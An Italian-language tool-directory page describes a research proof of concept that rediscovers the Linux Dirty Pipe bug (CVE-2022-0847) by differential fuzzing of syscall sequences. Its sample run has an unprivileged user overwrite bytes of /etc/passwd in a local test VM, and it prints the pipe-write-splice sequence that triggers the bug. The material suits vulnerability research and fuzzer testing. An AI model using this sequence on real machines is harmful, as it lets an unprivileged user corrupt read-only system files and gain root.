Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
reproducer-poc-CVE-2022-0847 — PoC molto approssimativo per rilevare/riprodurre CVE-2022-0847 (dirty pipe) attraverso la generazione casuale di syscalls e differential fuzzing contro un modello. | Kitploit
Strumenti/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàExploitFuzzingPenetration TestingBinary Exploitation
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

PoC molto approssimativo per rilevare/riprodurre CVE-2022-0847 (dirty pipe) attraverso la generazione casuale di syscalls e differential fuzzing contro un modello.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
47 mesi faNon ancora revisionato
Condividi

Rilevatore e riproduttore naive di CVE-2022-0847 (dirty pipe). Utilizza un semplice generatore di sequenze di syscall / programmi a partire da un insieme volutamente limitato di blocchi costruttivi / valori di input (solo generazione, nessun fuzzing avanzato; nessuna mutazione; nessuna guida di copertura; nessuna riduzione/minimizzazione) e rileva comportamenti anomali ispirati al testing basato su proprietà stateful confrontando i valori di ritorno di ogni azione su un modello e il kernel reale (fuzzing differenziale contro un modello).

Come disclaimer: il codice usa molti numeri magici/hack/valori incorporati nei blocchi costruttivi per poter generare il PoC minimo che innesca la vulnerabilità. Non è quindi veramente (solo a metà) rappresentativo per una generazione realistica della corretta sequenza di syscall con i giusti parametri. La generazione non guidata attraverso tutti i parametri nel grande spazio degli stati possibili probabilmente richiederebbe molto più tempo.

Ho cercato di contrassegnare tutti i punti in cui un valore o la scelta delle azioni è direttamente influenzata dalla conoscenza presunta del PoC stesso -- e che quindi dovrebbero essere trovati casualmente per un PoC completamente realistico -- con la stringa "MAGIC VALUE".

Questo dovrebbe essere considerato una proof-of-concept molto approssimativa.

Esempio di esecuzione riuscita:

root@kitploit:~
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux

# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

Output:

root@kitploit:~
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # note that this poc is found practically instantly

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

Da notare che questo PoC è leggermente diverso da quello di build-kernel-and-minimal-poc, poiché l'ordine delle syscall è cambiato in un modo che in realtà non conta per il bug. Questo mostra che l'esecuzione passo-passo dei comandi contro il modello e il SUT reale identifica correttamente anche questa situazione.

Scarica lo strumento